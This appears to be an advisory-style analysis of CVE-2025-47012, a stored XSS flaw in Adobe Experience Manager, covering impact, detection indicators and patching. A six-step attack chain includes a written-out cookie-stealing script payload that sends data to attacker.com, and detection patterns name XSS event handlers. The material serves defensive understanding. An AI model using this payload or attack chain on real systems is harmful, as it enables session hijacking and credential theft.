CVE-2025-47012: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47012 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the stored XSS variant. A low-privileged attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is persisted server-side without adequate sanitization or output encoding. When any user — including administrators — subsequently browses to the page containing the compromised field, the injected script executes in their browser within the context of the AEM application. Exploitation requires network access, low privileges, and victim user interaction (page visit), with no elevated complexity (Adobe Advisory).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and integrity compromise of AEM-hosted web content. Because AEM is commonly used as an enterprise content management platform, a compromised administrator session could enable broader access to content authoring, publishing workflows, and sensitive organizational data. Availability is not directly impacted by this vulnerability (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47012. The EPSS score is approximately 0.029%, indicating a low near-term probability of exploitation. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM user account (e.g., a content author account).
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces and identify form fields that accept and persist user input without proper sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: Wait for or socially engineer a victim (e.g., an administrator) to browse to the page containing the injected field, causing the malicious JavaScript to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable session hijacking or further access (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM author/publish environments.
• File System / Content Repository: Presence of JavaScript payloads (e.g., <script> tags, encoded XSS strings) stored within AEM JCR content nodes or page properties, discoverable via CRX/DE or repository queries.
• Process/Browser: Unexpected redirects or resource loads to external domains when browsing AEM pages; browser developer tools showing script execution from unexpected inline sources.

Adobe has released patches addressing this vulnerability. Users should upgrade to AEM 6.5.23.0 or later for on-premise deployments, or ensure AEM Cloud Service is updated to 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding for all user-submitted form fields, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and regularly audit user-submitted content for malicious payloads. Limiting user privileges and access controls can also reduce the attack surface (Adobe Advisory).
